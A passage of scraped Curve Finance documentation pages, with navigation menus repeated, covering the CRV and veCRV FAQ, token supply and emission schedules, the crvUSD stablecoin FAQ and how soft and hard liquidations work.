my boost records voting power changes? How can I apply my boost? How to know my boost is active? How does the yearly emissions reduction work? How is CRV minted? Home CRV Token CRV & veCRV FAQ What is the purpose and utility of CRV? The main purposes of the Curve DAO token are to incentivize liquidity providers on the Curve Finance platform as well as getting as many users involved as possible in the governance of the protocol. It also has time-weighted voting for governance and accrues a portion of the Curve Finance fees generated when locked as veCRV. How to get CRV? CRV can be acquired in two ways: Bought off the market from an exchange As a reward for being a Liquidity provider in CRV with pools or lending markets that have CRV rewards. This ensures the protocol continues offering low fees and extremely low slippage. Where can I find the release schedule? You can find the release schedule for the next six years at this address on the main UI: https://dao.curve.fi/inflation . There is also detailed documentation in the Supply & Distribution about the CRV emissions for the next 10 years, and the supply calculator can be used to see the emissions for any year. What is the current circulating supply? There are three ways to check the circulating supply: On the main UI here: https://dao.curve.fi/inflation . In the supply calculator in these resources by looking at the statistics for today. The on-chain contract ( 0x14139EB676342b6bC8E41E0d419969f23A49881e ) which shows the circulating supply, net of locked or otherwise vested tokens. When was CRV launched? CRV was officially launched on the 13 th of August 2020. What is CRV vote-locking? \"Vote-locking\" refers to the process of locking CRV for a specified period to receive veCRV. The longer they lock for, the more veCRV they receive. Vote locking allows you to vote in governance, boost your CRV rewards and receive trading fees. Vote-locking boost is when users with veCRV (vote-locked CRV) receive boosted rewards when they provide liquidity to a pool/lending market. veCRV is not transferable When you lock your CRV tokens for voting, you will receive veCRV based on the lock duration. The veCRV tokens are non-transferable . Once the lock period has ended, users can reclaim their CRV tokens. What is the vote locking boost? When vote locking CRV, you will also earn a boost on your provided liquidity of up to 2.5x. The goal is to incentivize users to participate in governance by rewarding them with a bigger share of the daily CRV inflation. See more here When did the boost start? The boost was first applied on the 26 th of August 2020 around 11pm UTC. What are veCRV? veCRV stands for voting escrow CRV. They are your CRV locked for voting. The longer you lock your CRV for, the more voting power you have (and the bigger boost you can reach). You can vote lock 1,000 CRV for a year to have a 250 veCRV weight. Each CRV locked for four years is equal to 1 veCRV. The number of veCRV you will receive depends on how long you lock your CRV for. The minimum locking time is one week and the maximum locking time is four years. Your veCRV weight gradually decreases as your escrowed tokens approach their lock expiry. A graph illustrating the decrease can be found at this address: https://dao.curve.fi/locker How is your boost calculated? To reach your maximum boost of 2.5x, there are several parameters to take into consideration. You can see the formula for boosting here You can find the current DAO voting power at this address: https://dao.curve.fi/locker You can also find a calculator at this address: https://dao.curve.fi/minter/calc What if I provide liquidity in multiple pools? Your voting power applies to all gauges but may produce different boosts based on how much liquidity you are providing and how much total liquidity the pool has. What happens if more people vote lock? If other liquidity providers vote lock more CRV, your boost will stay what it was when you applied it. If you abuse this, another user can kick and force a boost update to take you down to your real boost. How often does my boost records voting power changes? Your voting weight decreases over time but your boost will take notice of your decreasing voting power at certain checkpoints like withdrawing, depositing into a gauge or minting CRV. For example if you start at 1000 veCRV and your voting power decreases to 800 veCRV, your boost will still use your original voting power of 1000 veCRV until a user checkpoint. How can I apply my boost? After creating or adding to your lock, you need to click the apply boost button to update your boost on each of the gauge you're providing liquidity in. Your boost can also be updated by depositing or withdrawing from a gauge. Click below for a guide on how locking and boosting your CRV rewards Boosting your CRV Rewards How to know my boost is active? If your boost is showing then it is active. If you have locked but your boost isn't showing then you need to apply it. How does the yearly emissions reduction work? The emissions reduction can be triggered by anyone after the time period (exactly 365 days) has elapsed since the last emissions reduction. This is done by calling the update_mining_parameters function on the CRV contract at the address 0xD533a949740bb3306d119CC777fa900bA034cd52 . When this is called a new epoch is started, triggering another 365 days. If no one calls this function then CRV continues to be emitted at the current rate, and no new epoch is triggered. If for example this was triggered 1 day late it would affect two important functions: The CRV supply will be higher than the theoretical maximum of 3,030,303,031.8 CRV The next emissions reduction will be delayed by 1 as the 365 day countdown begins 1 day late. This also means however, that each time a leap year happens the date at which someone can reduce the emissions will be brought forward one day of the year. How is CRV minted? CRV can be minted by users who stake in gauges after they are allocated some to mint. When this happens CRV tokens are minted into existence, added to the total supply and transferred to the user. If users choose to not mint until a later date, this can create a discrepancy between the theoretical supply of tokens and the real supply of tokens shown on block explorers. Back to top", "labels": ["Documentation"]}, {"title": "CRV Overview", "html_url": "https://resources.curve.fi/crv-token/overview/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Overview & Tokenomics Table of contents Supply Utility The CRV Matrix Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Supply Utility The CRV Matrix Home CRV Token CRV Overview The CRV token is the token for Curve DAO which governs the whole Curve Finance ecosystem. CRV was launched on August 13, 2020. Supply The total supply of 3.03 billion is distributed as such: 62% to community liquidity providers 30% to shareholders (team and investors) with 2-4 years vesting 5% to the community reserve 3% to employees with 2 years vesting The initial supply of around 1.3b (~43%) was distributed as such: 5% to pre-CRV liquidity providers with 1 year vesting 30% to shareholders (team and investors) with 2-4 years vesting 3% to employees with 2 years vesting 5% to the community reserve The circulating supply was 0 at launch and the initial release rate was around 2m CRV per day. CRV inflation (community emissions for providing liquidity) started at 274 million tokens a year in 2020, and each year it decreases by roughly 16%. See the Supply & Distribution page for more detailed information. Utility There are 4 main use-cases for CRV, most require locked CRV (veCRV): Incentivizing liquidity providers to provide liquidity to pools and lending markets through CRV rewards. This is how CRV tokens are distributed to the community. Allowing liquidity providers to boost their CRV rewards up to 2.5x by holding veCRV. Allowing users to participate and vote in governance proposals including directing CRV emissions (gauge weight votes) through holding veCRV. Collecting a portion of the fees from swaps and loans that occur on Curve through holding veCRV. Info veCRV stands for vote-escrowed CRV , representing CRV tokens locked for voting in the Curve DAO. Locked CRV, Vote-locked CRV and vote-escrowed CRV all mean veCRV, these terms are used interchangeably throughout the ecosystem. For information about how to lock see the locking guide , or for more information about veCRV, see the veCRV page . The CRV Matrix The table below can help you understand the value of CRV and veCRV in different situations Liquidity in Pool & no veCRV Liquidity in Pool & veCRV Liquidity in Pool & Staked in Gauge & no veCRV Liquidity in Pool & Staked in Gauge & veCRV No Liquidity & no veCRV No Liquidity & veCRV Earns lending & trading fees Yes Yes Yes Yes No No Earns CRV Emissions No No Yes Yes No No Earns boosted CRV Emissions No No No Yes No No Can vote on DAO Proposals No Yes No Yes No Yes Can vote on Gauge Weight No Yes No Yes No Yes Earns Admin Fees No Yes No Yes No Yes Back to top", "labels": ["Documentation"]}, {"title": "CRV Supply and Distribution", "html_url": "https://resources.curve.fi/crv-token/supply-distribution/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution Supply & Distribution Table of contents Total Supply Allocation Token Launch Community Emissions (CRV Inflation) CRV Emissions for the next 10 years Notable Emission Years Supply Calculator CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Total Supply Allocation Token Launch Community Emissions (CRV Inflation) CRV Emissions for the next 10 years Notable Emission Years Supply Calculator Home CRV Token CRV Supply and Distribution There is a fixed total supply of 3,030,303,031 CRV . No CRV tokens can ever be minted after that. The total supply of CRV tokens allocated to different groups is shown below in the \"CRV Total Allocation\" chart. Not all CRV are currently minted or circulating . CRV tokens are slowly minted to the community each week and will continue to be released for over 200 years. The amount of tokens minted each week is defined in the community emissions section . Have a look over this page to learn about how CRV has been allocated and how much is distributed each week. The Supply Calculator is a great tool see the CRV supply and statistics on any date. Total Supply Allocation The below chart shows the total allocation of CRV to different groups within the Curve ecosystem. Group Allocated CRV Percentage Community (emissions) 1,727,272,729 57% Early Users (pre-CRV liquidity providers) 151,515,152 5% Core Team 800,961,153 26.43% Investors 108,129,756 3.57% Employees 90,909,091 3% Community Reserve 151,515,152 5% Total 3,030,303,031 100% The above allocation shows that the community will own 67% of all CRV when the total supply is distributed, but note that CRV tokens will continue to be distributed until 2376 , but meaningful distributions will stop in around 50 years, see notable emissions years for how the yearly distribution will change over time. Token Launch CRV officially launched on the 13 th of August 2020 . At the time of launch there were no unlocked tokens. All tokens in the launch were linearly vested for 1-4 years (gradually unlocking over a period of 1-4 years). The initial supply is quoted as 1,303,030,303 because these tokens were pre-mined and sent into the vesting contracts, which gradually unlocked them. Below shows the allocation to different groups of the initial distribution. Group Allocated CRV Vesting Years Transactions Early Users (pre-CRV liquidity providers) 151,515,152 1 1 1 Core Team 800,961,153 4 1 Investors 108,129,756 2 1 , 2 , 3 Employees 90,909,091 2 1 , 2 Community Reserve 151,515,152 N/A 2 1 Total 1,303,030,303 1 The circulating supply was 0 at launch. Each day of the first year approx. 750k tokens were emitted to the community for providing liquidity and 1.65million tokens were vested (unlocked). Use the supply calculator below to see how quickly tokens became liquid and circulating. Tip 6 year CRV release schedule is available here: https://dao.curve.fi/releaseschedule , or the full release schedule is available as a google spreadsheet here . Community Emissions (CRV Inflation) Community emissions (regularly called CRV Inflation) are minted and allocated to gauges based on the weekly weight gauge vote. Gauges have a very flexible design and can direct emissions to liquidity pools and suppliers of a lending market, or even to funding for the Vyper programming language. Community emissions reduce each year. They are modelled off the Bitcoin Halving which halves the allocation every 4 years, in Curve however, we reduce rewards by \\(2^{\\frac{1}{4}}\\) every 365 days instead. This works out to be approx. 16% each year and 50% every 4 years. Community emissions were initially set at 274,815,283 CRV for the first year. This means the formula for how much CRV is emitted to the community in any year is: \\[\\text{Yearly Community Emissions} = \\frac{274,815,283}{2^{\\text{year}/4}}\\] Where year is the number of years after 13 th August 2020, e.g., year 1 emissions are for the period 13 th August 2021 until 13 th August 2022. The emissions for year 10 are for the period of 11 th August 2030 - 11 th August 2031 (2 leap years with 366 days, yet Curve assumes all years have 365 days), this would come to 48,580,938 CRV emitted for that year. In the smart contracts the yearly community emissions is not defined, it's actually defined as a rate of CRV emitted per second, we can convert between the yearly and per second value using the following formula: \\[\\text{Emission Rate} = \\frac{\\text{Yearly Community Emissions}}{365 \\times 84600}\\] We divide by \\(365 \\times 84600\\) because there is 365 days in a year and 86400 seconds in a day. The emission rate has 18 decimal places, this means that emissions continue for 245 years . The emission rate will be 0.000000000000000001 CRV/sec in year 2265. Emissions are hardcoded and cannot change . See the notable emission years below, or have a play with the supply calculator to see how much CRV will be distributed and to who in different years. See this section of the FAQ for how the yearly reduction works. See this section for how CRV is minted and added to the supply. CRV Emissions for the next 10 years See below for a chart of how the CRV will be distributed each year for the next 10 years. This year (2024), is the last year of the Core Team's CRV allocation vesting. After August 12 th , 2024 all CRV added to the circulating supply will be distributed to the community through gauges, and CRV inflation will fall dramatically from 20.37% to 6.34% for the year. Note: dashed lines are percentage values and relate to the percentage axis, other lines relate to the CRV amount axis, click on datasets to turn them on/off. Notable Emission Years As CRV will continue to be distributed for 245 years, interesting years of CRV distribution are noted below. See the google spreadsheet here for data for all years. Year Date Start Date Finish CRV Emissions Note 5 2025-08-12 2026-08-12 115,545,593 Last year emissions > 100M 19 2039-08-09 2040-08-08 10,212,884 Last year emissions > 10M 32 2052-08-05 2053-08-05 1,073,497 Last year emissions > 1M 45 2065-08-02 2066-08-02 112,837 Last year emissions > 100k 58 2078-07-30 2079-07-30 11,860 Last year emissions > 10k 72 2092-07-26 2093-07-26 1,048 Last year emissions > 1k 85 2105-07-24 2106-07-24 110.1 Last year emissions > 100 98 2118-07-21 2119-07-21 11.58 Last year emissions > 10 112 2132-07-17 2133-07-17 1.023 Last year emissions > 1 245 2264-06-15 2265-06-15 0.000000000031536000 Last year of emissions Supply Calculator Accuracy Disclaimer : This calculator is theoretical based on vesting schedules and smart contract formulae . It does not pull data from the Ethereum blockchain. It may show slightly different values because users can wait any period of time before minting CRV from liquidity emissions, or unlocking claimable tokens from vesting contracts. It is also assumed that community reserve tokens are vested for a 1 year period. This is not completely true as they are vested for at least 1 year once allocated to a cause by the DAO. Choose a date: Launch Day Today Next Reduction 20 Years Total CRV Circulating Daily CRV Added to Circulating Definition of terms in the calculator: Vesting/Vested - Vesting tokens are locked for a time period. Vested tokens are unlocked as the vesting time period elapsed. Emissions/Emitted - Emissions are CRV Inflation from newly minted CRV increasing the supply. Emitted are the CRV which were added to the supply. Max CRV Supply - Unchanging value, the max CRV that can exist. Total CRV Circulating - The total supply of CRV unlocked from vesting and released from community emissions. Including rewards that can currently be claimed/minted by users. Total CRV Supply - The amount of minted CRV which currently exists, including pre-mined CRV locked in vesting contracts. Remaining CRV Emissions - Remaining amount of CRV to be emitted to the community. Remaining CRV Vesting - Remaining CRV to be unlocked from vesting contracts. Percentage of CRV Circulating - Measure of the max CRV supply compared to the current circulating supply. Total CRV Circulating divided by Max CRV Supply . CRV Inflation Rate - Measure of the yearly CRV emitted & vested compared to the current circulating supply. Yearly CRV Emitted & Vested divided by Total CRV Circulating . This was vested through the public vesting contract These tokens had no vesting themselves, but the contract they are allocated to creates other vesting contracts. When tokens are allocated from this pool they create a child vesting contract with a minimum 1 year vesting period. Back to top", "labels": ["Documentation"]}, {"title": "Curve Stablecoin: FAQ", "html_url": "https://resources.curve.fi/crvusd/faq/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ crvUSD FAQ Table of contents General What is crvUSD and how does it work? How does the crvUSD liquidation process differ from other debt-based stablecoins? How is crvUSD pegged to a price of $1? Can other types of collateral be proposed for crvUSD? How does that process work? What is a 'loan discount' and what impact does it have? Liquidation Process What is my liquidation price? When depositing collateral, how do I adjust and select my collateral deposit price range? What happens when the collateral price drops into my selected range? (soft-liquidation) What happens if the collateral price recovers? (de-liquidation) Under what circumstances can I be liquidated? (hard-liquidation) How do I maintain my loan health if collateral price drops into my range? What happens to the collateral in the event of hard liquidation? What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? Peg Keepers What are Peg Keepers? Under what circumstances can the Peg Keepers mint or burn crvUSD? What is the relationship between a Peg Keeper's debt and the total debt in crvUSD? What does it mean if the Peg Keeper's debt is zero? How does Peg Keeper trade and distribute profits? Borrow Rate What is the Borrow Rate? How is the crvUSD Borrow Rate calculated? Safety and Risks What are the risks of using crvUSD How can I best manage my risks when providing liquidity or borrowing in crvUSD? Has crvUSD been audited? Can I see the code? Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents General What is crvUSD and how does it work? How does the crvUSD liquidation process differ from other debt-based stablecoins? How is crvUSD pegged to a price of $1? Can other types of collateral be proposed for crvUSD? How does that process work? What is a 'loan discount' and what impact does it have? Liquidation Process What is my liquidation price? When depositing collateral, how do I adjust and select my collateral deposit price range? What happens when the collateral price drops into my selected range? (soft-liquidation) What happens if the collateral price recovers? (de-liquidation) Under what circumstances can I be liquidated? (hard-liquidation) How do I maintain my loan health if collateral price drops into my range? What happens to the collateral in the event of hard liquidation? What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? Peg Keepers What are Peg Keepers? Under what circumstances can the Peg Keepers mint or burn crvUSD? What is the relationship between a Peg Keeper's debt and the total debt in crvUSD? What does it mean if the Peg Keeper's debt is zero? How does Peg Keeper trade and distribute profits? Borrow Rate What is the Borrow Rate? How is the crvUSD Borrow Rate calculated? Safety and Risks What are the risks of using crvUSD How can I best manage my risks when providing liquidity or borrowing in crvUSD? Has crvUSD been audited? Can I see the code? Home Curve Stablecoin (crvUSD) Curve Stablecoin: FAQ General What is crvUSD and how does it work? crvUSD refers to a dollar-pegged stablecoin, which may be minted by a decentralized protocol developed by Curve Finance. Users can mint crvUSD by posting collateral and opening a loan within this protocol. How does the crvUSD liquidation process differ from other debt-based stablecoins? crvUSD uses an innovative mechanism to reduce the risk of liquidations. Instead of instantly triggering a liquidation at a specific price, a users collateral is converted into stablecoins across a smooth range of prices. Simulations suggest most price drops would result in the loss of just a few percentage points worth of collateral value, instead of the instant and total loss implemented by the liquidation process common to most debt-based stablecoins. How is crvUSD pegged to a price of $1? The crvUSD peg is broadly protected by the fact that the protocol is always overcollateralized. The protocol employs a number of stabilization mechanisms to fine-tune this peg. One mechanism is to automatically adjust borrow rates based on supply and demand. The protocol also relies on Peg Keepers (see below section), which are authorized to burn or mint crvUSD based on market conditions. Can other types of collateral be proposed for crvUSD? How does that process work? Yes, other collateral markets can be proposed for crvUSD through governance. Contact the community support channels for additional information on the current process to propose new collateral types. Each approved collateral has its own crvUSD market. What is a 'loan discount' and what impact does it have? A 'loan discount' is a percentage applied to reduce the value of collateral for determining the maximum borrowable amount. A higher loan discount results in a lower borrowing limit, acting as a safety margin for lenders against collateral value declines. The maximum amount that can be borrowed is also influenced by other factors, such as market conditions and asset volatility. For more details on these factors and their impact on borrowing, see the technical documentation at https://docs.curve.fi/crvUSD/amm/ . Liquidation Process What is my liquidation price? At the start of the crvUSD loan process, collateral is deposited and equally distributed over a range of prices, not just a single liquidation price. Should the price fall within this range, the collateral begins its conversion into crvUSD. This process aids in maintaining the loan's health and, under most conditions, wards off liquidation. As a result, there isn't one specific liquidation price. When depositing collateral, how do I adjust and select my collateral deposit price range? The price range can be optionally adjusted and customized during the initial loan creation process. In the UI, the advanced mode toggle provides further insights into this range. It also presents an Adjust button, enabling users to fine-tune their preferred price range. What happens when the collateral price drops into my selected range? (soft-liquidation) Each crvUSD market is linked to an Automated Market Maker (AMM). If the collateral price falls into the selected range, this collateral becomes tradable in the AMM. At this juncture, traders have the opportunity to acquire the collateral, substituting it with crvUSD. Consequently, the loan becomes collateralized by stablecoins, known for their more reliable value retention, contributing to the sustained health of the loan. What happens if the collateral price recovers? (de-liquidation) As the collateral price increases, the aforementioned process reverses. The position undergoes trading through the AMM, transitioning from crvUSD back to the original form of collateral. Owing to AMM trading fees, it's typical for a slight percentage of the original collateral value to be diminished once the collateral price surpasses the upper limit of the predetermined liquidation range. Under what circumstances can I be liquidated? (hard-liquidation) Should a loan's health drop below 0%, it becomes eligible for liquidation. In this scenario, the collateral is sold off, and the position closes. Although the crvUSD collateral conversion mechanism within the AMM is designed to protect against liquidations, it might not keep up with severe price fluctuations. It is advisable for borrowers to maintain their loan health, especially when prices fall within the selected liquidation range. How do I maintain my loan health if collateral price drops into my range? When the collateral price falls into the liquidation range, adding new collateral to protect loan health is not permitted. Within this liquidation range, loan health can only be improved by repaying crvUSD. Even minimal crvUSD repayments can be effective in preventing liquidation while the collateral price resides within this range. What happens to the collateral in the event of hard liquidation? In the event of a hard liquidation, all available collateral is sold off by the AMM system, the debt is covered, and the loan is closed. What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? The 'liquidation discount' is calculated based on the collateral's market value and is designed to incentivize liquidators to participate in the liquidation process. This factor is used to effectively discount the collateral valuation when calculating the health for liquidation purposes. In other protocols, this may be referred to as a liquidation threshold and is often hard-coded instead of calculated dynamically. Peg Keepers What are Peg Keepers? The Peg Keepers are contracts uniquely enabled to mint and absorb debt in crvUSD for the purposes of trading near the peg. Under what circumstances can the Peg Keepers mint or burn crvUSD? Each Peg Keeper targets a specific Peg Keeper pool . A Peg Keeper pool is a Curve v1 pool allowing trading between crvUSD and a blue chip stablecoin. The Peg Keepers are responsible for trying to balance these pools by trading at a profit. The Peg Keepers can only mint crvUSD to trade into their associated pools when its pool balance of crvUSD is too low, or it can repurchase and burn the crvUSD if its pool balance is too high. What is the relationship between a Peg Keeper's debt and the total debt in crvUSD? A Peg Keeper's debt is the amount of crvUSD it has deposited into a specific pool. Total debt in crvUSD includes all outstanding crvUSD that has been borrowed across the system. What does it mean if the Peg Keeper's debt is zero? If a Peg Keeper's debt is zero, it means that the Peg Keeper has no outstanding debt in the crvUSD system. How does Peg Keeper trade and distribute profits? Every Peg Keeper has a public update function. If the Peg Keeper has accumulated profits, then a portion of these profits are distributed at the behest of the user who calls the update function, in order to incentivize distributed trading in the pools. Calling update() via Etherscan To access this information on Etherscan, one can visit the LLAMMA details on the crvUSD UI within any market. By clicking the Monetary Policy, users are directed to the contract on Etherscan. There, under the Contract tab, they should select the Read Contract tab. Function 6 ( peg_keepers ) requires the index value of the market of interest, ranging from 0 to n-1, where n represents the number of crvUSD markets. After entering this index and navigating to the returned address, users need to navigate to Contract and Read Contract again. This time, they access function 6 ( estimate_caller_profit ) to estimate the caller profit. After evaluating if the execution of the following function makes sense, the Write Contract tab must be selected, a wallet connected, and function 1 ( update ) called. Borrow Rate What is the Borrow Rate? The Borrow Rate is the variable interest rate charged on active loans within each collateral market. How is the crvUSD Borrow Rate calculated? The Borrow Rate for each crvUSD collateral market is calculated based on a series of parameters, including the Peg Keeper's debt, the total debt, and the market demand for borrowing. Safety and Risks What are the risks of using crvUSD As with all cryptocurrencies, crvUSD carries several risks, including depeg risks and risk of user collateral liquidation. Make sure to read the disclaimer and exercise caution when interacting with smart contracts. How can I best manage my risks when providing liquidity or borrowing in crvUSD? Best risk management practices include maintaining a safe collateralization ratio, understanding the potential for liquidation, and keeping an eye on market conditions. Has crvUSD been audited? Yes, please see the audits here Curve Stablecoin Audits . Can I see the code? The code is publicly available on the Curve Github . Back to top", "labels": ["Documentation"]}, {"title": "Soft & Hard Liquidations", "html_url": "https://resources.curve.fi/crvusd/liquidations/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Liquidations Table of contents Soft-Liquidation Hard-Liquidation Hard-Liquidation Example Managing Health & Self-Liquidation Example Soft-liquidation Applet Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations Liquidations Table of contents Soft-Liquidation Hard-Liquidation Hard-Liquidation Example Managing Health & Self-Liquidation Example Soft-liquidation Applet How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Soft-Liquidation Hard-Liquidation Hard-Liquidation Example Managing Health & Self-Liquidation Example Soft-liquidation Applet Home Curve Lending Soft & Hard Liquidations Liquidations on Curve Lending and crvUSD work differently to other DeFi loans. There are Soft-liquidations (including de-liquidations) and Hard-liquidations. This page defines them and shows examples. Soft-Liquidation When the position enters Soft-liquidation it's a warning. The system will try to protect user loans by converting the original collateral to the borrowed asset as prices decrease, and back to the original collateral as prices increase. Hard Liquidation does not happen at the bottom of the soft-liquidation range . Hard-liquidation can only occur when the health goes below 0 . If the health is negative anyone can pay off the debt and claim the collateral backing the loan, this should always be profitable, but in rare circumstances it may not be, if this happens it's called bad debt . In Soft-liquidation and de-liquidation, collateral will slowly be lost to fees from swapping back and forth as prices move higher and lower, this is how health deteriorates over time. Health can deteriorate very quickly when volatility is high . More information on health can be found here . The soft-liquidation applet also simulates how Collateral is converted through the soft-liquidation range. Hard-Liquidation Soft-liquidation turns into Hard-liquidation when health is 0% . In Hard-liquidation the borrower keeps their borrowed assets (normally crvUSD) but loses their collateral, the process is detailed here . Hard-liquidation does not trigger at the bottom of the Soft-liquidation range, it only relies on health . A user can have all their collateral fully converted to their borrowed asset and be below the Soft-liquidation range if they manage their health carefully. Health can be increased in soft-liquidation by repaying some or all debt. Hard-Liquidation Example Hard-liquidation can only occur when the health of a loan is 0% or below . If the health is 0% or below anyone can pay off the debt and claim the collateral backing the loan, this should always be profitable, but in rare circumstances it may not be, if this happens it's called bad debt . The example below shows a loan in the CRV/crvUSD lending market which was hard-liquidated. The chart is interactive, by hovering over prices, you can see how the health of the loan decreases over time. See that hard-liquidation only relies on health. The bottom of the soft-liquidation range is not where hard-liquidation happens. Hard-liquidation - Borrowing crvUSD using CRV It is always better to self-liquidate a loan before a loan is hard-liquidated . This is because the health calculation values your collateral lower than its actual worth. In this example, the borrower would have gotten back 11,107 crvUSD more if they had self-liquidated their loan instead of letting it be hard-liquidated. Managing Health & Self-Liquidation Example The below example shows how to manage health and how self-liquidation works, this shows a loan in the WETH/crvUSD lending market. When the user got into soft-liquidation they decided to repay around 10% of their debt, this increased their health from approx. 3% to 13%, but kept their soft-liquidation range the same. They then stayed in soft-liquidation for a long time, so they self-liquidated. If some debt is repaid while in soft-liquidation the range will stay the same but health will increase , if debt is repaid outside the soft-liquidation range, the range will move lower. Self-liquidating here was a good idea, this is because they already had 38,857 crvUSD as collateral (from swapped WETH in soft-liquidation), and their debt was 98,299 crvUSD, they only had to send 59,442 crvUSD and they received back their 24.3371 WETH. If they chose to repay they would have had to repay all 98,299 crvUSD of debt, and received all collateral back (38,857 crvUSD and 24.3371 WETH) in return. Self-liquidation - 